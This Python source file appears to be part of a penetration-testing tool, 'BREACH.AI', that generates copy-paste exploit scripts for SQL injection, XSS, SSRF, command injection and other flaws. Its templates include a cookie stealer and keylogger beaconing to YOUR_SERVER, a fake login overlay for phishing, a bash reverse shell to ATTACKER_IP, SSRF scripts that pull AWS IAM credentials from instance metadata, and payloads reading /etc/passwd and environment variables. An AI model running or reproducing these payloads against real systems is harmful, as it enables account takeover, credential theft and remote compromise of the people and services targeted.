"""
BREACH.AI - Proof-of-Concept Generator
========================================

Generates reproducible, copy-paste ready exploitation scripts.
Based on Shannon's approach of delivering "reproducible, copy-and-paste
Proof-of-Concepts."

Generates:
- cURL commands
- Python exploitation scripts
- JavaScript browser console payloads
- HTML exploitation pages
- Burp Suite requests
"""

import json
import base64
from dataclasses import dataclass
from typing import Any, Dict, List, Optional
from urllib.parse import quote, urljoin, urlparse


@dataclass
class ProofOfConcept:
    """A reproducible proof-of-concept."""
    vulnerability_type: str
    target: str
    parameter: str
    payload: str

    # Reproduction scripts
    curl_command: str
    python_script: str
    javascript_payload: str
    html_page: str
    burp_request: str

    # Step-by-step instructions
    manual_steps: List[str]

    # Evidence
    expected_result: str
    actual_result: str


class PoCGenerator:
    """
    Generates reproducible proof-of-concepts for validated vulnerabilities.
    """

    def generate(
        self,
        finding: Any,
        validation_result: Any = None,
    ) -> ProofOfConcept:
        """Generate a complete PoC for a finding."""
        vuln_type = finding.category if hasattr(finding, 'category') else finding.vulnerability_type

        generators = {
            "sqli": self._generate_sqli_poc,
            "xss": self._generate_xss_poc,
            "ssrf": self._generate_ssrf_poc,
            "cmdi": self._generate_cmdi_poc,
            "lfi": self._generate_lfi_poc,
            "nosql": self._generate_nosql_poc,
            "ssti": self._generate_ssti_poc,
            "csrf": self._generate_csrf_poc,
            "idor": self._generate_idor_poc,
            "auth_bypass": self._generate_auth_bypass_poc,
        }

        generator = generators.get(vuln_type, self._generate_generic_poc)
        return generator(finding, validation_result)

    # =========================================================================
    # SQL INJECTION
    # =========================================================================

    def _generate_sqli_poc(
        self,
        finding: Any,
        validation_result: Any = None,
    ) -> ProofOfConcept:
        """Generate SQL injection PoC."""
        endpoint = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = getattr(finding, 'method', 'GET')

        # cURL command
        if method.upper() == "GET":
            curl = f"""curl -s '{endpoint}?{param}={quote(payload)}'"""
        else:
            curl = f"""curl -s -X POST '{endpoint}' \\
  -H 'Content-Type: application/x-www-form-urlencoded' \\
  -d '{param}={quote(payload)}'"""

        # Python script
        python_script = f'''#!/usr/bin/env python3
"""
SQL Injection Exploitation Script
Target: {endpoint}
Parameter: {param}
Generated by BREACH.AI
"""

import requests
import sys

TARGET = "{endpoint}"
PARAM = "{param}"

# Payloads to try
PAYLOADS = [
    "{payload}",
    "' UNION SELECT NULL--",
    "' UNION SELECT 1,2,3,4,5--",
    "' UNION SELECT username,password,3,4,5 FROM users--",
    "' AND SLEEP(5)--",
]

def exploit():
    print(f"[*] Testing SQL injection on {{TARGET}}")
    print(f"[*] Parameter: {{PARAM}}")
    print()

    for payload in PAYLOADS:
        print(f"[*] Trying: {{payload[:50]}}...")

        try:
            {"response = requests.get(TARGET, params={PARAM: payload}, timeout=10)" if method.upper() == "GET" else f"response = requests.post(TARGET, data={{PARAM: payload}}, timeout=10)"}

            # Check for SQL errors
            sql_errors = ['sql', 'mysql', 'syntax', 'query', 'oracle', 'sqlite']
            if any(err in response.text.lower() for err in sql_errors):
                print(f"[+] SQL Error detected!")
                print(f"[+] Payload: {{payload}}")
                return True

            # Check for UNION success (response contains extra data)
            if "UNION" in payload and len(response.text) > 1000:
                print(f"[+] UNION injection successful!")
                print(f"[+] Response length: {{len(response.text)}}")
                return True

        except Exception as e:
            print(f"[-] Error: {{e}}")

    return False

def extract_data():
    """Extract database contents after confirming SQLi"""
    print("[*] Attempting data extraction...")

    # Try to get database version
    version_payloads = [
        "' UNION SELECT version()--",
        "' UNION SELECT @@version--",
    ]

    for payload in version_payloads:
        try:
            {"response = requests.get(TARGET, params={PARAM: payload}, timeout=10)" if method.upper() == "GET" else f"response = requests.post(TARGET, data={{PARAM: payload}}, timeout=10)"}
            print(f"[+] Response: {{response.text[:500]}}")
        except:
            pass

if __name__ == "__main__":
    if exploit():
        print()
        extract_data()
    else:
        print("[-] SQL injection not confirmed")
'''

        # JavaScript payload (for browser testing)
        javascript_payload = f'''// SQL Injection test - paste in browser console
fetch("{endpoint}?{param}=" + encodeURIComponent("{payload}"))
  .then(r => r.text())
  .then(text => {{
    if (text.toLowerCase().includes('sql') || text.toLowerCase().includes('error')) {{
      console.log("[+] SQL Injection confirmed!");
      console.log(text.substring(0, 500));
    }} else {{
      console.log("[-] No SQL error in response");
    }}
  }});'''

        # HTML exploitation page
        html_page = f'''<!DOCTYPE html>
<html>
<head>
    <title>SQL Injection PoC - BREACH.AI</title>
</head>
<body>
    <h1>SQL Injection PoC</h1>
    <p>Target: {endpoint}</p>
    <p>Parameter: {param}</p>

    <form action="{endpoint}" method="{method.upper()}">
        <label>Payload:</label><br>
        <input type="text" name="{param}" value="{payload}" size="80"><br><br>
        <input type="submit" value="Exploit">
    </form>

    <h2>Pre-built Payloads</h2>
    <ul>
        <li><a href="{endpoint}?{param}={quote("' OR '1'='1")}">Auth Bypass: ' OR '1'='1</a></li>
        <li><a href="{endpoint}?{param}={quote("' UNION SELECT NULL--")}">UNION Test</a></li>
        <li><a href="{endpoint}?{param}={quote("' AND SLEEP(5)--")}">Time-based (5s delay)</a></li>
    </ul>

    <p><small>Generated by BREACH.AI</small></p>
</body>
</html>'''

        # Burp Suite request
        parsed = urlparse(endpoint)
        burp_request = f'''{method.upper()} {parsed.path}?{param}={quote(payload)} HTTP/1.1
Host: {parsed.netloc}
User-Agent: BREACH.AI/1.0
Accept: */*
Connection: close

'''

        return ProofOfConcept(
            vulnerability_type="sqli",
            target=endpoint,
            parameter=param,
            payload=payload,
            curl_command=curl,
            python_script=python_script,
            javascript_payload=javascript_payload,
            html_page=html_page,
            burp_request=burp_request,
            manual_steps=[
                f"1. Navigate to: {endpoint}",
                f"2. Locate the '{param}' parameter",
                f"3. Replace value with: {payload}",
                "4. Submit the request",
                "5. Observe SQL error message or data extraction in response",
                "6. For automated extraction, use sqlmap: sqlmap -u '{endpoint}?{param}=test' --batch",
            ],
            expected_result="SQL error message or extracted database contents",
            actual_result=str(validation_result.proof_data) if validation_result else "See response",
        )

    # =========================================================================
    # XSS
    # =========================================================================

    def _generate_xss_poc(
        self,
        finding: Any,
        validation_result: Any = None,
    ) -> ProofOfConcept:
        """Generate XSS PoC."""
        endpoint = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = getattr(finding, 'method', 'GET')

        # cURL command
        curl = f"""curl -s '{endpoint}?{param}={quote(payload)}'"""

        # Python script
        python_script = f'''#!/usr/bin/env python3
"""
XSS Exploitation Script
Target: {endpoint}
Parameter: {param}
Generated by BREACH.AI
"""

import requests
import urllib.parse

TARGET = "{endpoint}"
PARAM = "{param}"

# Cookie stealer payload (replace YOUR_SERVER)
COOKIE_STEALER = """<script>
new Image().src='https://YOUR_SERVER/steal?c='+document.cookie;
</script>"""

# Keylogger payload
KEYLOGGER = """<script>
document.onkeypress=function(e){{
  new Image().src='https://YOUR_SERVER/keys?k='+e.key;
}};
</script>"""

def test_xss():
    payloads = [
        "{payload}",
        COOKIE_STEALER,
        KEYLOGGER,
    ]

    for p in payloads:
        response = requests.get(TARGET, params={{PARAM: p}})
        if p in response.text:
            print(f"[+] XSS confirmed! Payload reflected: {{p[:50]}}...")
            return True
    return False

if __name__ == "__main__":
    test_xss()
'''

        # JavaScript payload
        javascript_payload = f'''// XSS Cookie Stealer - paste in browser console to test
// Replace YOUR_SERVER with your server
var payload = `<script>new Image().src='https://YOUR_SERVER/c?'+document.cookie</script>`;
var url = "{endpoint}?{param}=" + encodeURIComponent(payload);
console.log("Exploit URL:", url);
window.open(url);'''

        # HTML exploitation page
        html_page = f'''<!DOCTYPE html>
<html>
<head>
    <title>XSS PoC - BREACH.AI</title>
</head>
<body>
    <h1>XSS Proof of Concept</h1>
    <p>Target: {endpoint}</p>

    <h2>Reflected XSS Test</h2>
    <iframe src="{endpoint}?{param}={quote(payload)}" width="800" height="400"></iframe>

    <h2>Cookie Stealer</h2>
    <p>Click to steal cookies (replace YOUR_SERVER):</p>
    <a href="{endpoint}?{param}={quote('<script>new Image().src=\"https://YOUR_SERVER/?c=\"+document.cookie</script>')}">
        Click me (victim)
    </a>

    <h2>Phishing Example</h2>
    <a href="{endpoint}?{param}={quote('<div style=\"position:fixed;top:0;left:0;width:100%;height:100%;background:white\"><h1>Session Expired</h1><form action=\"https://YOUR_SERVER/phish\"><input name=\"password\" type=\"password\" placeholder=\"Enter password\"><button>Login</button></form></div>')}">
        Fake Login Page
    </a>

    <p><small>Generated by BREACH.AI</small></p>
</body>
</html>'''

        # Burp request
        parsed = urlparse(endpoint)
        burp_request = f'''GET {parsed.path}?{param}={quote(payload)} HTTP/1.1
Host: {parsed.netloc}
User-Agent: Mozilla/5.0
Accept: text/html
Connection: close

'''

        return ProofOfConcept(
            vulnerability_type="xss",
            target=endpoint,
            parameter=param,
            payload=payload,
            curl_command=curl,
            python_script=python_script,
            javascript_payload=javascript_payload,
            html_page=html_page,
            burp_request=burp_request,
            manual_steps=[
                f"1. Open browser and navigate to: {endpoint}",
                f"2. Add ?{param}={payload} to the URL",
                "3. Press Enter and observe JavaScript execution (alert box)",
                "4. For cookie theft, replace alert() with: new Image().src='https://attacker.com/?c='+document.cookie",
                "5. Send the crafted URL to a victim",
            ],
            expected_result="JavaScript alert box or cookie theft",
            actual_result=str(validation_result.proof_data) if validation_result else "Script execution",
        )

    # =========================================================================
    # SSRF
    # =========================================================================

    def _generate_ssrf_poc(
        self,
        finding: Any,
        validation_result: Any = None,
    ) -> ProofOfConcept:
        """Generate SSRF PoC."""
        endpoint = finding.endpoint
        param = finding.parameter
        payload = finding.payload
        method = getattr(finding, 'method', 'GET')

        curl = f"""curl -s '{endpoint}?{param}={quote(payload)}'"""

        python_script = f'''#!/usr/bin/env python3
"""
SSRF Exploitation Script
Target: {endpoint}
Parameter: {param}
Generated by BREACH.AI
"""

import requests

TARGET = "{endpoint}"
PARAM = "{param}"

# SSRF payloads
PAYLOADS = [
    # Cloud metadata
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
    "http://metadata.google.internal/computeMetadata/v1/",

    # Internal services
    "http://127.0.0.1:22",
    "http://127.0.0.1:3306",
    "http://127.0.0.1:6379",
    "http://127.0.0.1:8080",
    "http://127.0.0.1:9200",  # Elasticsearch

    # Bypass techniques
    "http://127.1",
    "http://0.0.0.0",
    "http://[::1]",
]

def exploit():
    print(f"[*] SSRF exploitation on {{TARGET}}")

    for payload in PAYLOADS:
        try:
            response = requests.get(TARGET, params={{PARAM: payload}}, timeout=10)

            # Check for cloud metadata
            if "ami-" in response.text or "arn:aws" in response.text:
                print(f"[+] AWS METADATA FOUND!")
                print(response.text[:500])
                continue

            # Check for internal service
            if len(response.text) > 50 and "<!DOCTYPE" not in response.text[:50]:
                print(f"[+] Internal response from {{payload}}")
                print(response.text[:200])

        except Exception as e:
            print(f"[-] {{payload}}: {{e}}")

def extract_aws_creds():
    """Extract AWS credentials via SSRF"""
    # First get IAM role name
    role_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
    response = requests.get(TARGET, params={{PARAM: role_url}}, timeout=10)

    if response.status_code == 200 and response.text:
        role_name = response.text.strip()
        print(f"[+] IAM Role: {{role_name}}")

        # Get credentials
        creds_url = f"{{role_url}}{{role_name}}"
        response = requests.get(TARGET, params={{PARAM: creds_url}}, timeout=10)

        if "AccessKeyId" in response.text:
            print("[+] AWS CREDENTIALS EXTRACTED!")
            print(response.text)

if __name__ == "__main__":
    exploit()
    print()
    extract_aws_creds()
'''

        javascript_payload = f'''// SSRF test via browser
fetch("{endpoint}?{param}=" + encodeURIComponent("http://169.254.169.254/latest/meta-data/"))
  .then(r => r.text())
  .then(console.log);'''

        html_page = f'''<!DOCTYPE html>
<html>
<head><title>SSRF PoC - BREACH.AI</title></head>
<body>
    <h1>SSRF Proof of Concept</h1>
    <h2>Cloud Metadata Extraction</h2>
    <ul>
        <li><a href="{endpoint}?{param}={quote('http://169.254.169.254/latest/meta-data/')}" target="_blank">AWS Metadata</a></li>
        <li><a href="{endpoint}?{param}={quote('http://169.254.169.254/latest/meta-data/iam/security-credentials/')}" target="_blank">AWS IAM Credentials</a></li>
        <li><a href="{endpoint}?{param}={quote('http://metadata.google.internal/computeMetadata/v1/')}" target="_blank">GCP Metadata</a></li>
    </ul>
    <h2>Internal Port Scan</h2>
    <ul>
        <li><a href="{endpoint}?{param}={quote('http://127.0.0.1:22')}" target="_blank">SSH (22)</a></li>
        <li><a href="{endpoint}?{param}={quote('http://127.0.0.1:3306')}" target="_blank">MySQL (3306)</a></li>
        <li><a href="{endpoint}?{param}={quote('http://127.0.0.1:6379')}" target="_blank">Redis (6379)</a></li>
    </ul>
</body>
</html>'''

        parsed = urlparse(endpoint)
        burp_request = f'''GET {parsed.path}?{param}={quote(payload)} HTTP/1.1
Host: {parsed.netloc}
User-Agent: BREACH.AI/1.0
Connection: close

'''

        return ProofOfConcept(
            vulnerability_type="ssrf",
            target=endpoint,
            parameter=param,
            payload=payload,
            curl_command=curl,
            python_script=python_script,
            javascript_payload=javascript_payload,
            html_page=html_page,
            burp_request=burp_request,
            manual_steps=[
                f"1. Navigate to: {endpoint}",
                f"2. Set parameter '{param}' to: http://169.254.169.254/latest/meta-data/",
                "3. Observe AWS instance metadata in response",
                "4. To extract credentials: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME",
                "5. Use extracted credentials with AWS CLI",
            ],
            expected_result="Cloud metadata or internal service response",
            actual_result=str(validation_result.proof_data) if validation_result else "Internal content",
        )

    # =========================================================================
    # COMMAND INJECTION
    # =========================================================================

    def _generate_cmdi_poc(
        self,
        finding: Any,
        validation_result: Any = None,
    ) -> ProofOfConcept:
        """Generate command injection PoC."""
        endpoint = finding.endpoint
        param = finding.parameter
        payload = finding.payload

        curl = f"""curl -s '{endpoint}?{param}={quote(payload)}'"""

        python_script = f'''#!/usr/bin/env python3
"""
Command Injection Exploitation
Target: {endpoint}
Generated by BREACH.AI
"""

import requests

TARGET = "{endpoint}"
PARAM = "{param}"

def run_command(cmd):
    """Execute a command via the injection"""
    payloads = [
        f"; {{cmd}}",
        f"| {{cmd}}",
        f"`{{cmd}}`",
        f"$({{cmd}})",
    ]

    for p in payloads:
        response = requests.get(TARGET, params={{PARAM: p}}, timeout=10)
        if len(response.text) > 100:
            return response.text

    return None

def exploit():
    commands = [
        "id",
        "whoami",
        "cat /etc/passwd",
        "env",
        "ls -la",
    ]

    for cmd in commands:
        print(f"[*] Running: {{cmd}}")
        result = run_command(cmd)
        if result:
            print(result[:500])
            print()

if __name__ == "__main__":
    exploit()
'''

        html_page = f'''<!DOCTYPE html>
<html>
<head><title>Command Injection PoC</title></head>
<body>
    <h1>Command Injection PoC</h1>
    <form action="{endpoint}" method="GET">
        <input name="{param}" value="; id" size="50">
        <button>Execute</button>
    </form>
    <h2>Quick Commands</h2>
    <ul>
        <li><a href="{endpoint}?{param}={quote('; id')}">Run 'id'</a></li>
        <li><a href="{endpoint}?{param}={quote('; cat /etc/passwd')}">Read /etc/passwd</a></li>
        <li><a href="{endpoint}?{param}={quote('; env')}">Show environment</a></li>
    </ul>
</body>
</html>'''

        return ProofOfConcept(
            vulnerability_type="cmdi",
            target=endpoint,
            parameter=param,
            payload=payload,
            curl_command=curl,
            python_script=python_script,
            javascript_payload="// Command injection requires server-side execution",
            html_page=html_page,
            burp_request=f"GET {endpoint}?{param}={quote(payload)} HTTP/1.1\nHost: {urlparse(endpoint).netloc}\n\n",
            manual_steps=[
                f"1. Send request with payload: {payload}",
                "2. Observe command output in response",
                "3. For reverse shell: ; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1",
            ],
            expected_result="System command output (uid, passwd, etc.)",
            actual_result=str(validation_result.proof_data) if validation_result else "Command output",
        )

    # =========================================================================
    # GENERIC GENERATORS
    # =========================================================================

    def _generate_lfi_poc(self, finding, validation_result=None) -> ProofOfConcept:
        """Generate LFI PoC."""
        endpoint = finding.endpoint
        param = finding.parameter
        payload = finding.payload

        return ProofOfConcept(
            vulnerability_type="lfi",
            target=endpoint,
            parameter=param,
            payload=payload,
            curl_command=f"curl -s '{endpoint}?{param}={quote(payload)}'",
            python_script=self._generic_python_template(endpoint, param, payload),
            javascript_payload="// LFI is server-side",
            html_page=f"<a href='{endpoint}?{param}={quote(payload)}'>LFI Test</a>",
            burp_request=f"GET {endpoint}?{param}={quote(payload)} HTTP/1.1\n\n",
            manual_steps=[f"1. Use payload: {payload}", "2. Look for file contents in response"],
            expected_result="File contents (/etc/passwd, etc.)",
            actual_result="",
        )

    def _generate_nosql_poc(self, finding, validation_result=None) -> ProofOfConcept:
        return self._generate_generic_poc(finding, validation_result)

    def _generate_ssti_poc(self, finding, validation_result=None) -> ProofOfConcept:
        return self._generate_generic_poc(finding, validation_result)

    def _generate_csrf_poc(self, finding, validation_result=None) -> ProofOfConcept:
        return self._generate_generic_poc(finding, validation_result)

    def _generate_idor_poc(self, finding, validation_result=None) -> ProofOfConcept:
        return self._generate_generic_poc(finding, validation_result)

    def _generate_auth_bypass_poc(self, finding, validation_result=None) -> ProofOfConcept:
        return self._generate_generic_poc(finding, validation_result)

    def _generate_generic_poc(
        self,
        finding: Any,
        validation_result: Any = None,
    ) -> ProofOfConcept:
        """Generate generic PoC."""
        endpoint = getattr(finding, 'endpoint', str(finding))
        param = getattr(finding, 'parameter', 'param')
        payload = getattr(finding, 'payload', '')
        vuln_type = getattr(finding, 'category', 'unknown')

        return ProofOfConcept(
            vulnerability_type=vuln_type,
            target=endpoint,
            parameter=param,
            payload=payload,
            curl_command=f"curl -s '{endpoint}?{param}={quote(str(payload))}'",
            python_script=self._generic_python_template(endpoint, param, payload),
            javascript_payload=f"fetch('{endpoint}?{param}={quote(str(payload))}').then(r=>r.text()).then(console.log)",
            html_page=f"<a href='{endpoint}?{param}={quote(str(payload))}'>Test</a>",
            burp_request=f"GET {endpoint}?{param}={quote(str(payload))} HTTP/1.1\nHost: {urlparse(endpoint).netloc}\n\n",
            manual_steps=[
                f"1. Navigate to: {endpoint}",
                f"2. Set {param} to: {payload}",
                "3. Observe response for vulnerability indicators",
            ],
            expected_result="Vulnerability-specific indicators",
            actual_result=str(validation_result.proof_data) if validation_result else "",
        )

    def _generic_python_template(self, endpoint, param, payload) -> str:
        return f'''#!/usr/bin/env python3
import requests

response = requests.get("{endpoint}", params={{"{param}": "{payload}"}})
print(response.text)
'''
